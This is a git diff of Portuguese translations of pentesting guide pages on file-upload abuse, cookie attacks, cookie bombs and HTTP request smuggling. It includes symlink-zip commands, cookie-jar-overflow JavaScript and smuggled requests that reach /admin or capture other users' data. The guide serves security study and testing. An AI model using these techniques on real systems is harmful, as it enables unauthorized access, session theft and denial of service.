-Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura de Arquivo Arbitrário quando um arquivo de configuração `.ini` é processado.
+Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura Arbitrária de Arquivo quando um arquivo de configuração `.ini` é processado.
 
 Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
 ```ini
@@ -157,7 +157,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget baixará a página redirecionada com o nome do arquivo indicado na URL original**.
+Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **wget baixará a página redirecionada com o nome do arquivo indicado na URL original**.
 
 ## Ferramentas
 
@@ -177,11 +177,11 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
 - [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 - Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
 - [**XXE e CORS** contornados com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar alguns PDFs que executarão JS arbitrário seguindo as indicações dadas.
-- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor tem algum **antivírus**
+- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
+- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
 - Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
 
-Aqui está uma lista das 10 principais coisas que você pode conseguir fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: XSS armazenado / SSRF / XXE
@@ -198,7 +198,7 @@ Aqui está uma lista das 10 principais coisas que você pode conseguir fazendo u
 
 {% embed url="https://github.com/portswigger/upload-scanner" %}
 
-## Bytes Mágicos de Cabeçalho
+## Bytes de Cabeçalho Mágicos
 
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
@@ -211,7 +211,7 @@ Se você puder fazer upload de um ZIP que será descompactado dentro do servidor
 
 #### Symlink
 
-Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descompactados você acessará os arquivos vinculados:
+Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descompactados, você acessará os arquivos vinculados:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
@@ -298,7 +298,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
 
 Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
 
-A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar furtivamente essas restrições.
+A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivos, pode contornar furtivamente essas restrições.
 
 Apesar de sua adaptabilidade, os poliglotas enfrentam limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
 

src/pentesting-web/hacking-with-cookies/README.md

@@ -41,8 +41,8 @@ Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garanti
 | Formulário GET          | \<form method="GET" action="...">      | NotSet\*, Lax, None          |
 | Formulário POST         | \<form method="POST" action="...">     | NotSet\*, None               |
 | iframe                  | \<iframe src="...">\</iframe>           | NotSet\*, None               |
-| AJAX                    | $.get("...")                            | NotSet\*, None               |
-| Imagem                  | \<img src="...">                        | NetSet\*, None               |
+| AJAX                    | $.get("...")                           | NotSet\*, None               |
+| Imagem                  | \<img src="...">                       | NetSet\*, None               |
 
 Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e ligeiramente modificada.\
 Um cookie com o atributo _**SameSite**_ **mitigará ataques CSRF** onde uma sessão logada é necessária.
@@ -58,8 +58,8 @@ Isso evita que o **cliente** acesse o cookie (via **Javascript**, por exemplo: `
 
 #### **Contornos**
 
-- Se a página **enviar os cookies como resposta** a uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a essa página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
-- Isso pode ser contornado com solicitações **TRACE** **HTTP**, pois a resposta do servidor (se esse método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
+- Se a página **enviar os cookies como resposta** a uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a esta página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
+- Isso pode ser contornado com solicitações **TRACE** **HTTP**, pois a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
 - Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns contornos para isso foram encontrados em softwares específicos, como enviar `\r\nTRACE` em vez de `TRACE` para IE6.0 SP2.
 - Outra maneira é a exploração de vulnerabilidades zero-day dos navegadores.
 - É possível **sobrescrever cookies HttpOnly** realizando um ataque de transbordamento de Cookie Jar:
@@ -81,15 +81,15 @@ Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `se
 Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
 
 - Eles devem ser definidos com a flag `secure`.
-- Devem originar de uma página protegida por HTTPS.
-- É proibido especificar um domínio, impedindo sua transmissão para subdomínios.
+- Eles devem se originar de uma página protegida por HTTPS.
+- Eles são proibidos de especificar um domínio, impedindo sua transmissão para subdomínios.
 - O caminho para esses cookies deve ser definido como `/`.
 
-É importante notar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicação pode ser considerado uma boa prática para aumentar a segurança e o isolamento.
+É importante notar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicação pode ser considerado uma boa prática para aumentar a segurança e a isolação.
 
 ### Sobrescrevendo cookies
 
-Assim, uma das proteções dos cookies prefixados com `__Host-` é impedir que sejam sobrescritos a partir de subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o parser, por exemplo, adicionando "=" no início ou no final...:
+Assim, uma das proteções dos cookies prefixados com `__Host-` é impedir que eles sejam sobrescritos a partir de subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o parser, por exemplo, adicionando "=" no início ou no final...:
 
 <figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -107,11 +107,11 @@ Dados sensíveis incorporados em cookies devem sempre ser examinados. Cookies co
 
 ### Sequestro de Sessão
 
-Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta dentro de um aplicativo. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.
+Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta dentro de uma aplicação. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.
 
 ### Fixação de Sessão
 
-Nesse cenário, um atacante engana uma vítima para usar um cookie específico para fazer login. Se o aplicativo não atribuir um novo cookie ao fazer login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.
+Nesse cenário, um atacante engana uma vítima para usar um cookie específico para fazer login. Se a aplicação não atribuir um novo cookie ao fazer login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.
 
 Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**, leia:
 
@@ -131,13 +131,13 @@ cookie-tossing.md
 
 ### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
 
-Clique no link anterior para acessar uma página explicando possíveis falhas em JWT.
+Clique no link anterior para acessar uma página que explica possíveis falhas em JWT.
 
-Tokens Web JSON (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre falhas potenciais e como explorá-las, recomenda-se acessar o documento vinculado sobre hacking JWT.
+Tokens Web JSON (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre possíveis falhas e como explorá-las, é recomendável acessar o documento vinculado sobre hacking JWT.
 
 ### Cross-Site Request Forgery (CSRF)
 
-Esse ataque força um usuário logado a executar ações indesejadas em um aplicativo web no qual está atualmente autenticado. Atacantes podem explorar cookies que são automaticamente enviados com cada solicitação para o site vulnerável.
+Esse ataque força um usuário logado a executar ações indesejadas em uma aplicação web na qual ele está atualmente autenticado. Atacantes podem explorar cookies que são automaticamente enviados com cada solicitação para o site vulnerável.
 
 ### Cookies Vazios
 
@@ -222,14 +222,14 @@ Resulting cookie: name=eval('test//, comment') => allowed
 - Verifique se o cookie contém alguma informação e tente modificá-lo.
 - Tente criar várias contas com nomes de usuário quase iguais e verifique se consegue ver semelhanças.
 - Verifique a opção "**lembrar-me**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
-- Verifique se o cookie anterior funciona mesmo depois de você mudar a senha.
+- Verifique se o cookie anterior funciona mesmo após você mudar a senha.
 
 #### **Ataques avançados a cookies**
 
 Se o cookie permanecer o mesmo (ou quase) quando você faz login, isso provavelmente significa que o cookie está relacionado a algum campo da sua conta (provavelmente o nome de usuário). Então você pode:
 
 - Tentar criar muitas **contas** com nomes de usuário muito **semelhantes** e tentar **adivinhar** como o algoritmo está funcionando.
-- Tentar **forçar o nome de usuário**. Se o cookie é salvo apenas como um método de autenticação para o seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **forçar** cada único **bit** do seu cookie porque um dos cookies que você tentará será o que pertence a "**admin**".
+- Tentar **forçar o nome de usuário**. Se o cookie é salvo apenas como um método de autenticação para o seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **forçar** cada único **bit** do seu cookie porque um dos cookies que você tentará será o pertencente a "**admin**".
 - Tentar **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
 
 **Padding Oracle - Exemplos de Padbuster**

src/pentesting-web/hacking-with-cookies/cookie-bomb.md

@@ -1,6 +1,6 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-**`Cookie bomb`** envolve **adicionar um número significativo de cookies grandes a um domínio e seus subdomínios visando um usuário**. Essa ação resulta no envio de **requisições HTTP excessivas** pelo vítima ao servidor, que são subsequentemente **rejeitadas pelo servidor**. A consequência disso é a indução de uma negação de serviço (DoS) especificamente direcionada a um usuário dentro daquele domínio e seus subdomínios.
+**`Cookie bomb`** envolve **adicionar um número significativo de cookies grandes a um domínio e seus subdomínios visando um usuário**. Essa ação resulta no **envio de requisições HTTP excessivas** pelo vítima ao servidor, que são subsequentemente **rejeitadas pelo servidor**. A consequência disso é a indução de uma negação de serviço (DoS) especificamente direcionada a um usuário dentro daquele domínio e seus subdomínios.
 
 Um bom **exemplo** pode ser visto neste relatório: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
 

src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

@@ -1,6 +1,6 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **transbordar o cookie jar** já que os mais antigos serão deletados antes:
+Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **transbordar o jarro de cookies** já que os mais antigos serão excluídos antes:
 ```javascript
 // Set many cookies
 for (let i = 0; i < 700; i++) {

src/pentesting-web/http-connection-request-smuggling.md

@@ -8,7 +8,7 @@
 
 ### Validação do Primeiro Pedido
 
-Ao roteirizar solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor back-end de destino, muitas vezes confiando em uma lista de permissões de hosts que têm acesso permitido. No entanto, uma vulnerabilidade existe em alguns proxies onde a lista de permissões é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e, em seguida, solicitando um site interno através da mesma conexão:
+Ao roteirizar solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor back-end de destino, muitas vezes confiando em uma lista de permissões de hosts que têm acesso permitido. No entanto, uma vulnerabilidade existe em alguns proxies onde a lista de permissões é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e, em seguida, solicitando um site interno através da mesma conexão:
 ```
 GET / HTTP/1.1
 Host: [allowed-external-host]
@@ -26,7 +26,7 @@ Host: example.com
 POST /pwreset HTTP/1.1
 Host: psres.net
 ```
-Esse problema pode potencialmente ser combinado com [ataques de cabeçalho Host](https://portswigger.net/web-security/host-header), como envenenamento de redefinição de senha ou [envenenamento de cache web](https://portswigger.net/web-security/web-cache-poisoning), para explorar outras vulnerabilidades ou obter acesso não autorizado a hosts virtuais adicionais.
+Esse problema pode potencialmente ser combinado com [Host header attacks](https://portswigger.net/web-security/host-header), como envenenamento de redefinição de senha ou [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), para explorar outras vulnerabilidades ou obter acesso não autorizado a hosts virtuais adicionais.
 
 > [!NOTE]
 > Para identificar essas vulnerabilidades, o recurso 'connection-state probe' no HTTP Request Smuggler pode ser utilizado.

src/pentesting-web/http-request-smuggling/README.md

@@ -33,7 +33,7 @@ Lembre-se de que em HTTP **um caractere de nova linha é composto por 2 bytes:**
 
 - **Content-Length**: Este cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo deve terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
 - **Transfer-Encoding:** Este cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo pedaço**. O **pedaço** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Este método de transferência deve terminar com um **pedaço de tamanho 0 seguido de 2 novas linhas**: `0`
-- **Connection**: Com base na minha experiência, é recomendável usar **`Connection: keep-alive`** na primeira requisição do HTTP Request Smuggling.
+- **Connection**: Com base na minha experiência, é recomendável usar **`Connection: keep-alive`** na primeira requisição do HTTP Smuggling.
 
 ## Exemplos Básicos
 
@@ -56,7 +56,7 @@ Os ataques de HTTP request smuggling são elaborados enviando requisições amb
 - **Cenário de Ataque:**
 
 - O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
-- O servidor de front-end encaminha toda a requisição para o back-end, com base no valor de `Content-Length`.
+- O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`.
 - O servidor back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
 - **Exemplo:**
 
@@ -80,7 +80,7 @@ Foo: x
 - **Cenário de Ataque:**
 
 - O atacante envia uma requisição chunked onde o tamanho do pedaço (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não estão alinhados.
-- O servidor de front-end, respeitando `Transfer-Encoding`, encaminha toda a requisição para o back-end.
+- O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end.
 - O servidor back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma requisição subsequente não intencional.
 - **Exemplo:**
 
@@ -185,7 +185,7 @@ EMPTY_LINE_HERE
 
 Esta técnica também é útil em cenários onde é possível **quebrar um servidor web enquanto lê os dados HTTP iniciais** mas **sem fechar a conexão**. Dessa forma, o **corpo** da solicitação HTTP será considerado a **próxima solicitação HTTP**.
 
-Por exemplo, como explicado em [**este writeup**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns **caracteres Unicode** e isso faria o servidor **quebrar**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
+Por exemplo, como explicado em [**este artigo**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns **caracteres Unicode** e isso faria o servidor **quebrar**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
 
 #### Forçando via cabeçalhos hop-by-hop
 
@@ -275,7 +275,7 @@ Ao testar vulnerabilidades de request smuggling interferindo em outras solicita
 - **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base em URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um pré-requisito para um ataque bem-sucedido.
 - **Condições de Temporização e Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "ataque", compete contra outras solicitações de aplicação concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "ataque". Aplicações ocupadas podem exigir várias tentativas para confirmação conclusiva da vulnerabilidade.
 - **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Esse aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
-- **Impacto Não Intencional ao Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
+- **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
 
 ## Abusando de HTTP Request Smuggling
 
@@ -302,9 +302,9 @@ Content-Length: 10
 
 x=
 ```
-No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a solicitação inicial, enquanto a solicitação incorporada subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a solicitação `POST` inicial, mas falha em inspecionar a solicitação incorporada `GET /admin`, permitindo acesso não autorizado ao caminho `/admin`.
+No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a solicitação inicial, enquanto a solicitação embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a solicitação `POST` inicial, mas falha em inspecionar a solicitação embutida `GET /admin`, permitindo acesso não autorizado ao caminho `/admin`.
 
-**TE.CL Exemplo**
+**Exemplo TE.CL**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -320,7 +320,7 @@ a=x
 0
 
 ```
-Por outro lado, no ataque TE.CL, a solicitação inicial `POST` usa `Transfer-Encoding: chunked`, e a solicitação embutida subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
+Por outro lado, no ataque TE.CL, a solicitação inicial `POST` usa `Transfer-Encoding: chunked`, e a solicitação incorporada subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
 
 ### Revelando reescrita de solicitações de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
@@ -375,7 +375,7 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Neste cenário, o **parâmetro de comentário** é destinado a armazenar o conteúdo na seção de comentários de um post em uma página acessível publicamente. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.
+Neste cenário, o **parâmetro de comentário** destina-se a armazenar o conteúdo na seção de comentários de um post em uma página acessível publicamente. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.
 
 No entanto, essa técnica tem limitações. Geralmente, captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima parará no primeiro `&`, que pode até fazer parte da string de consulta.
 
@@ -424,9 +424,9 @@ Ao manipular o `User-Agent` através do smuggling, o payload contorna as restri
 
 A versão HTTP/0.9 era anterior à 1.0 e usa apenas verbos **GET** e **não** responde com **cabeçalhos**, apenas o corpo.
 
-Em [**este writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um smuggling de requisição e um **endpoint vulnerável que irá responder com a entrada do usuário** para smuggling uma requisição com HTTP/0.9. O parâmetro que será refletido na resposta continha uma **resposta HTTP/1.1 falsa (com cabeçalhos e corpo)**, de modo que a resposta conterá código JS executável válido com um `Content-Type` de `text/html`.
+Em [**este writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um smuggling de requisição e um **endpoint vulnerável que irá responder com a entrada do usuário** para smugar uma requisição com HTTP/0.9. O parâmetro que será refletido na resposta continha uma **resposta HTTP/1.1 falsa (com cabeçalhos e corpo)**, de modo que a resposta conterá código JS executável válido com um `Content-Type` de `text/html`.
 
-### Explorando Redirecionamentos no Site com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Explorando Redirecionamentos no Local com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
 As aplicações frequentemente redirecionam de uma URL para outra usando o hostname do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra no final resulta em um redirecionamento para incluir a barra:
 ```
@@ -468,11 +468,11 @@ Neste cenário, o pedido de um usuário por um arquivo JavaScript é sequestrado
 
 ### Explorando a Contaminação de Cache Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-A contaminação de cache web pode ser executada se qualquer componente da **infraestrutura de front-end armazenar conteúdo em cache**, tipicamente para melhorar o desempenho. Manipulando a resposta do servidor, é possível **contaminar o cache**.
+A contaminação de cache web pode ser executada se qualquer componente da **infraestrutura de front-end armazenar conteúdo em cache**, tipicamente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **contaminar o cache**.
 
 Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Exemplos Básicos](./#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo de `/index.html` em resposta a um pedido por `/static/include.js`. Consequentemente, o conteúdo de `/static/include.js` é substituído no cache pelo de `/index.html`, tornando `/static/include.js` inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).
 
-Essa técnica se torna particularmente poderosa se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no site para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o atualizado `/static/include.js`.
+Essa técnica se torna particularmente poderosa se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no site para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado.
 
 Abaixo está uma ilustração da exploração de **contaminação de cache combinada com um redirecionamento no site para redirecionamento aberto**. O objetivo é alterar o conteúdo do cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
 ```
@@ -492,9 +492,9 @@ Content-Length: 10
 
 x=1
 ```
-Note o pedido embutido direcionado a `/post/next?postId=3`. Este pedido será redirecionado para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar o pedido para seu domínio (**redirecionamento no local para redirecionamento aberto**).
